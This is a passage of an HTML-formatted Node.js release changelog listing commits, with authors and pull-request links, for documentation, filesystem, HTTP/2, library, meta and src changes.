<li>[<a href="https://github.com/nodejs/node/commit/cd323bc718"><code>cd323bc718</code></a>] - <strong>doc</strong>: update devcontainer.json and add documentation (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/60472" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60472/hovercard">#60472</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c7c70f3a16"><code>c7c70f3a16</code></a>] - <strong>doc</strong>: add haramj as triager (Haram Jeong) <a href="https://github.com/nodejs/node/pull/60348" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60348/hovercard">#60348</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/04b8c4d14e"><code>04b8c4d14e</code></a>] - <strong>doc</strong>: clarify require(esm) description (dynst) <a href="https://github.com/nodejs/node/pull/60520" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60520/hovercard">#60520</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/de382dc832"><code>de382dc832</code></a>] - <strong>doc</strong>: instantiate resolver object (Donghoon Nam) <a href="https://github.com/nodejs/node/pull/60476" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60476/hovercard">#60476</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b6845ce460"><code>b6845ce460</code></a>] - <strong>doc</strong>: clarify --use-system-ca support status (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/60340" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60340/hovercard">#60340</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0894dae9bc"><code>0894dae9bc</code></a>] - <strong>doc</strong>: add missing CAA type to dns.resolveAny() &amp; dnsPromises.resolveAny() (Jimmy Leung) <a href="https://github.com/nodejs/node/pull/58899" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/58899/hovercard">#58899</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c86a69f692"><code>c86a69f692</code></a>] - <strong>doc</strong>: use <code>any</code> for <code>worker_threads.Worker</code> 'error' event argument <code>err</code> (Jonas Geiler) <a href="https://github.com/nodejs/node/pull/60300" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60300/hovercard">#60300</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0c5031e233"><code>0c5031e233</code></a>] - <strong>doc</strong>: update decorator documentation to reflect actual policy (Muhammad Salman Aziz) <a href="https://github.com/nodejs/node/pull/60288" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60288/hovercard">#60288</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b01f710175"><code>b01f710175</code></a>] - <strong>doc</strong>: document wildcard supported by tools/test.py (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/60265" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60265/hovercard">#60265</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b4524dabcc"><code>b4524dabcc</code></a>] - <strong>doc</strong>: fix <code>blob.bytes()</code> heading level (XTY) <a href="https://github.com/nodejs/node/pull/60252" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60252/hovercard">#60252</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5df02776e3"><code>5df02776e3</code></a>] - <strong>doc</strong>: fix not working code example in vm docs (Artur Gawlik) <a href="https://github.com/nodejs/node/pull/60224" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60224/hovercard">#60224</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6a4359a0b5"><code>6a4359a0b5</code></a>] - <strong>doc</strong>: improve code snippet alternative of url.parse() using WHATWG URL (Steven) <a href="https://github.com/nodejs/node/pull/60209" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60209/hovercard">#60209</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ad06bee70d"><code>ad06bee70d</code></a>] - <strong>doc</strong>: use markdown when branch-diff major release (Rafael Gonzaga) <a href="https://github.com/nodejs/node/pull/60179" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60179/hovercard">#60179</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c0d4b11ed4"><code>c0d4b11ed4</code></a>] - <strong>doc</strong>: update teams in collaborator-guide.md and add links (Bart Louwers) <a href="https://github.com/nodejs/node/pull/60065" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60065/hovercard">#60065</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/20b5ffcac3"><code>20b5ffcac3</code></a>] - <strong>doc</strong>: update previous version links in BUILDING (Mike McCready) <a href="https://github.com/nodejs/node/pull/61457" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61457/hovercard">#61457</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/de345ea3a3"><code>de345ea3a3</code></a>] - <strong>doc</strong>: correct description of <code>error.stack</code> accessor behavior (René) <a href="https://github.com/nodejs/node/pull/61090" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61090/hovercard">#61090</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d8418d9de7"><code>d8418d9de7</code></a>] - <strong>doc</strong>: fix link in <code>--env-file=file</code> section (N. Bighetti) <a href="https://github.com/nodejs/node/pull/60563" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60563/hovercard">#60563</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1107bda21e"><code>1107bda21e</code></a>] - <strong>doc</strong>: fix v22 changelog after security release (Marco Ippolito) <a href="https://github.com/nodejs/node/pull/61371" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61371/hovercard">#61371</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/42aab9469a"><code>42aab9469a</code></a>] - <strong>doc</strong>: add missing history entry for <code>sqlite.md</code> (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/60607" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60607/hovercard">#60607</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/deb6d5deff"><code>deb6d5deff</code></a>] - <strong>doc, module</strong>: change async customization hooks to experimental (Gerhard Stöbich) <a href="https://github.com/nodejs/node/pull/60302" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60302/hovercard">#60302</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c659add7d1"><code>c659add7d1</code></a>] - <strong>doc,src,lib</strong>: clarify experimental status of Web Storage support (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/60708" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60708/hovercard">#60708</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/dda95e91b9"><code>dda95e91b9</code></a>] - <strong>esm</strong>: avoid throw when module specifier is not url (Craig Macomber (Microsoft)) <a href="https://github.com/nodejs/node/pull/61000" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61000/hovercard">#61000</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/912945be89"><code>912945be89</code></a>] - <strong>events</strong>: remove redundant todo (Gürgün Dayıoğlu) <a href="https://github.com/nodejs/node/pull/60595" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60595/hovercard">#60595</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/22e156eb10"><code>22e156eb10</code></a>] - <strong>events</strong>: remove eventtarget custom inspect branding (Efe) <a href="https://github.com/nodejs/node/pull/61128" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61128/hovercard">#61128</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/df6fd9b03f"><code>df6fd9b03f</code></a>] - <strong>fs</strong>: remove duplicate getValidatedPath calls (Mert Can Altin) <a href="https://github.com/nodejs/node/pull/61359" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61359/hovercard">#61359</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6ea3e4d850"><code>6ea3e4d850</code></a>] - <strong>fs</strong>: fix errorOnExist behavior for directory copy in fs.cp (Nicholas Paun) <a href="https://github.com/nodejs/node/pull/60946" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60946/hovercard">#60946</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/dd918b9980"><code>dd918b9980</code></a>] - <strong>fs</strong>: fix ENOTDIR in globSync when file is treated as dir (sangwook) <a href="https://github.com/nodejs/node/pull/61259" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61259/hovercard">#61259</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4908e67ba0"><code>4908e67ba0</code></a>] - <strong>fs</strong>: remove duplicate fd validation in sync functions (Mert Can Altin) <a href="https://github.com/nodejs/node/pull/61361" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61361/hovercard">#61361</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4a27bce3d9"><code>4a27bce3d9</code></a>] - <strong>fs</strong>: detect dot files when using globstar (Robin van Wijngaarden) <a href="https://github.com/nodejs/node/pull/61012" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61012/hovercard">#61012</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b0186ff65c"><code>b0186ff65c</code></a>] - <strong>fs</strong>: validate statfs path (Efe) <a href="https://github.com/nodejs/node/pull/61230" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61230/hovercard">#61230</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6689775023"><code>6689775023</code></a>] - <strong>gyp</strong>: aix: change gcc version detection so CXX="ccache g++" works (Stewart X Addison) <a href="https://github.com/nodejs/node/pull/61464" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61464/hovercard">#61464</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5c4f4db663"><code>5c4f4db663</code></a>] - <strong>http</strong>: fix rawHeaders exceeding maxHeadersCount limit (Max Harari) <a href="https://github.com/nodejs/node/pull/61285" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61285/hovercard">#61285</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7599e2eccd"><code>7599e2eccd</code></a>] - <strong>http</strong>: replace startsWith with strict equality (btea) <a href="https://github.com/nodejs/node/pull/59394" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/59394/hovercard">#59394</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/99a85213bf"><code>99a85213bf</code></a>] - <strong>http</strong>: lazy allocate cookies array (Robert Nagy) <a href="https://github.com/nodejs/node/pull/59734" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/59734/hovercard">#59734</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7669e6a5ad"><code>7669e6a5ad</code></a>] - <strong>http</strong>: fix http client leaky with double response (theanarkh) <a href="https://github.com/nodejs/node/pull/60062" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60062/hovercard">#60062</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f074c126a8"><code>f074c126a8</code></a>] - <strong>http,https</strong>: fix double ERR_PROXY_TUNNEL emission (Shima Ryuhei) <a href="https://github.com/nodejs/node/pull/60699" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60699/hovercard">#60699</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d8ac368363"><code>d8ac368363</code></a>] - <strong>http2</strong>: add diagnostics channels for client stream request body (Darshan Sen) <a href="https://github.com/nodejs/node/pull/60480" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60480/hovercard">#60480</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e26a7e464d"><code>e26a7e464d</code></a>] - <strong>http2</strong>: rename variable to additionalPseudoHeaders (Tobias Nießen) <a href="https://github.com/nodejs/node/pull/60208" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60208/hovercard">#60208</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5df634f46e"><code>5df634f46e</code></a>] - <strong>http2</strong>: validate initialWindowSize per HTTP/2 spec (Matteo Collina) <a href="https://github.com/nodejs/node/pull/61402" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61402/hovercard">#61402</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2ccc9a6205"><code>2ccc9a6205</code></a>] - <strong>http2</strong>: do not crash on mismatched ping buffer length (René) <a href="https://github.com/nodejs/node/pull/60135" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60135/hovercard">#60135</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3e68a5f78a"><code>3e68a5f78a</code></a>] - <strong>inspector</strong>: inspect HTTP response body (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/60572" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60572/hovercard">#60572</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a86ffa9a5d"><code>a86ffa9a5d</code></a>] - <strong>inspector</strong>: add network payload buffer size limits (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/60236" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60236/hovercard">#60236</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ea60ef5d74"><code>ea60ef5d74</code></a>] - <strong>lib</strong>: fix typo in <code>util.js</code> comment (Taejin Kim) <a href="https://github.com/nodejs/node/pull/61365" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61365/hovercard">#61365</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9d8d9322a4"><code>9d8d9322a4</code></a>] - <strong>lib</strong>: fix TypeScript support check in jitless mode (sangwook) <a href="https://github.com/nodejs/node/pull/61382" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61382/hovercard">#61382</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/fc26f5c78f"><code>fc26f5c78f</code></a>] - <strong>lib</strong>: gbk decoder is gb18030 decoder per spec (Сковорода Никита Андреевич) <a href="https://github.com/nodejs/node/pull/61099" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61099/hovercard">#61099</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3b87030012"><code>3b87030012</code></a>] - <strong>lib</strong>: enforce use of <code>URLParse</code> (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/61016" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61016/hovercard">#61016</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2a7479d4fc"><code>2a7479d4fc</code></a>] - <strong>lib</strong>: use <code>FastBuffer</code> for empty buffer allocation (Gürgün Dayıoğlu) <a href="https://github.com/nodejs/node/pull/60558" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60558/hovercard">#60558</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7cf4c43582"><code>7cf4c43582</code></a>] - <strong>lib</strong>: fix constructor in _errnoException stack tree (SeokHun) <a href="https://github.com/nodejs/node/pull/60156" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60156/hovercard">#60156</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f9d87fbfaa"><code>f9d87fbfaa</code></a>] - <strong>lib</strong>: fix typo in QuicSessionStats (SeokHun) <a href="https://github.com/nodejs/node/pull/60155" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60155/hovercard">#60155</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/8d26ccc652"><code>8d26ccc652</code></a>] - <strong>lib</strong>: remove redundant destroyHook checks (Gürgün Dayıoğlu) <a href="https://github.com/nodejs/node/pull/60120" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60120/hovercard">#60120</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/705832a1be"><code>705832a1be</code></a>] - <strong>lib,src</strong>: isInsideNodeModules should test on the first non-internal frame (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/60991" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60991/hovercard">#60991</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6f39ad190b"><code>6f39ad190b</code></a>] - <strong>meta</strong>: do not fast-track npm updates (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/61475" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61475/hovercard">#61475</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a6a0ff9486"><code>a6a0ff9486</code></a>] - <strong>meta</strong>: fix typos in issue template config (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/61399" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61399/hovercard">#61399</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ec88c9b378"><code>ec88c9b378</code></a>] - <strong>meta</strong>: label v8 module PRs (René) <a href="https://github.com/nodejs/node/pull/61325" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61325/hovercard">#61325</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/83143835de"><code>83143835de</code></a>] - <strong>meta</strong>: bump step-security/harden-runner from 2.13.2 to 2.14.0 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/61245" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61245/hovercard">#61245</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0802dc663a"><code>0802dc663a</code></a>] - <strong>meta</strong>: bump actions/setup-node from 6.0.0 to 6.1.0 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/61244" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61244/hovercard">#61244</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/587db55796"><code>587db55796</code></a>] - <strong>meta</strong>: bump actions/cache from 4.3.0 to 5.0.1 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/61243" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61243/hovercard">#61243</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/262c9d37a6"><code>262c9d37a6</code></a>] - <strong>meta</strong>: bump github/codeql-action from 4.31.6 to 4.31.9 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/61241" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61241/hovercard">#61241</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d9763b5afd"><code>d9763b5afd</code></a>] - <strong>meta</strong>: bump codecov/codecov-action from 5.5.1 to 5.5.2 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/61240" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61240/hovercard">#61240</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0af73d1811"><code>0af73d1811</code></a>] - <strong>meta</strong>: bump peter-evans/create-pull-request from 7.0.9 to 8.0.0 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/61237" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61237/hovercard">#61237</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/8be6afd239"><code>8be6afd239</code></a>] - <strong>meta</strong>: move lukekarrys to emeritus (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/60985" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60985/hovercard">#60985</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c497de5c74"><code>c497de5c74</code></a>] - <strong>meta</strong>: bump actions/setup-python from 6.0.0 to 6.1.0 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/60927" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60927/hovercard">#60927</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/774920f169"><code>774920f169</code></a>] - <strong>meta</strong>: bump github/codeql-action from 4.31.3 to 4.31.6 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/60926" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60926/hovercard">#60926</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ef3b1e5991"><code>ef3b1e5991</code></a>] - <strong>meta</strong>: bump peter-evans/create-pull-request from 7.0.8 to 7.0.9 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/60924" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60924/hovercard">#60924</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3ed667379f"><code>3ed667379f</code></a>] - <strong>meta</strong>: bump github/codeql-action from 4.31.2 to 4.31.3 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/60770" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60770/hovercard">#60770</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7c0cefb126"><code>7c0cefb126</code></a>] - <strong>meta</strong>: bump step-security/harden-runner from 2.13.1 to 2.13.2 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/60769" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60769/hovercard">#60769</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5c6a076e5d"><code>5c6a076e5d</code></a>] - <strong>meta</strong>: add Renegade334 to collaborators (Renegade334) <a href="https://github.com/nodejs/node/pull/60714" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60714/hovercard">#60714</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4f4dda2a18"><code>4f4dda2a18</code></a>] - <strong>meta</strong>: bump actions/download-artifact from 5.0.0 to 6.0.0 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/60532" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60532/hovercard">#60532</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c436f8d57c"><code>c436f8d57c</code></a>] - <strong>meta</strong>: bump actions/upload-artifact from 4.6.2 to 5.0.0 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/60531" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60531/hovercard">#60531</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/402d9f87a6"><code>402d9f87a6</code></a>] - <strong>meta</strong>: bump github/codeql-action from 3.30.5 to 4.31.2 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/60533" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60533/hovercard">#60533</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/61be78e326"><code>61be78e326</code></a>] - <strong>meta</strong>: bump actions/setup-node from 5.0.0 to 6.0.0 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/60529" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60529/hovercard">#60529</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7e4164a623"><code>7e4164a623</code></a>] - <strong>meta</strong>: bump actions/stale from 10.0.0 to 10.1.0 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/60528" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60528/hovercard">#60528</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1bf6e1d010"><code>1bf6e1d010</code></a>] - <strong>meta</strong>: move one or more collaborators to emeritus (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/60325" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60325/hovercard">#60325</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c66fc0e9cf"><code>c66fc0e9cf</code></a>] - <strong>meta</strong>: loop userland-migrations in deprecations (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/60299" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60299/hovercard">#60299</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e4be0791e7"><code>e4be0791e7</code></a>] - <strong>meta</strong>: call <code>create-release-post.yml</code> post release (Aviv Keller) <a href="https://github.com/nodejs/node/pull/60366" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60366/hovercard">#60366</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/8674f6527f"><code>8674f6527f</code></a>] - <strong>module</strong>: preserve URL in the parent created by createRequire() (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/60974" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60974/hovercard">#60974</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/41db87a975"><code>41db87a975</code></a>] - <strong>msi</strong>: fix WiX warnings (Stefan Stojanovic) <a href="https://github.com/nodejs/node/pull/60251" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60251/hovercard">#60251</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/884f313f40"><code>884f313f40</code></a>] - <strong>node-api</strong>: use Node-API in comments (Vladimir Morozov) <a href="https://github.com/nodejs/node/pull/61320" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61320/hovercard">#61320</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/375164190b"><code>375164190b</code></a>] - <strong>node-api</strong>: use local files for instanceof test (Vladimir Morozov) <a href="https://github.com/nodejs/node/pull/60190" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60190/hovercard">#60190</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/972a1107c0"><code>972a1107c0</code></a>] - <strong>os</strong>: freeze signals constant (Xavier Stouder) <a href="https://github.com/nodejs/node/pull/61038" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61038/hovercard">#61038</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e992057ab7"><code>e992057ab7</code></a>] - <strong>perf_hooks</strong>: fix stack overflow error (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/60084" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60084/hovercard">#60084</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0bb1814fdf"><code>0bb1814fdf</code></a>] - <strong>repl</strong>: fix pasting after moving the cursor to the left (Ruben Bridgewater) <a href="https://github.com/nodejs/node/pull/60470" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60470/hovercard">#60470</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/35a12fb996"><code>35a12fb996</code></a>] - <strong>src</strong>: replace <code>ranges::sort</code> for libc++13 compatibility on armhf (Rebroad) <a href="https://github.com/nodejs/node/pull/61789" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61789/hovercard">#61789</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/dbf00d4664"><code>dbf00d4664</code></a>] - <strong>src</strong>: add missing override specifier to Clean() (Tobias Nießen) <a href="https://github.com/nodejs/node/pull/61429" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61429/hovercard">#61429</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/140eba35d3"><code>140eba35d3</code></a>] - <strong>src</strong>: cache context lookup in vectored io loops (Mert Can Altin) <a href="https://github.com/nodejs/node/pull/61387" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61387/hovercard">#61387</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/93e7e1708b"><code>93e7e1708b</code></a>] - <strong>src</strong>: use C++ nullptr in webstorage (Tobias Nießen) <a href="https://github.com/nodejs/node/pull/61407" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61407/hovercard">#61407</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ef868447bc"><code>ef868447bc</code></a>] - <strong>src</strong>: fix pointer alignment (jhofstee) <a href="https://github.com/nodejs/node/pull/61336" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61336/hovercard">#61336</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a96256524c"><code>a96256524c</code></a>] - <strong>src</strong>: dump snapshot source with node:generate_default_snapshot_source (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/61101" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61101/hovercard">#61101</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ec051b9efd"><code>ec051b9efd</code></a>] - <strong>src</strong>: add HandleScope to edge loop in heap_utils (Mert Can Altin) <a href="https://github.com/nodejs/node/pull/60885" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60885/hovercard">#60885</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/41749eb5d6"><code>41749eb5d6</code></a>] - <strong>src</strong>: remove redundant CHECK (Tobias Nießen) <a href="https://github.com/nodejs/node/pull/61130" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61130/hovercard">#61130</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/57c81e5af3"><code>57c81e5af3</code></a>] - <strong>src</strong>: fix off-thread cert loading in bundled cert mode (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/60764" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60764/hovercard">#60764</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4b0616e024"><code>4b0616e024</code></a>] - <strong>src</strong>: handle DER decoding errors from system certificates (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/60787" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60787/hovercard">#60787</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/93393371f9"><code>93393371f9</code></a>] - <strong>src</strong>: use static_cast instead of C-style cast (Michaël Zasso) <a href="https://github.com/nodejs/node/pull/60868" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60868/hovercard">#60868</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/900445b655"><code>900445b655</code></a>] - <strong>src</strong>: move Node-API version detection to where it is used (Anna Henningsen) <a href="https://github.com/nodejs/node/pull/60512" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60512/hovercard">#60512</a></li>
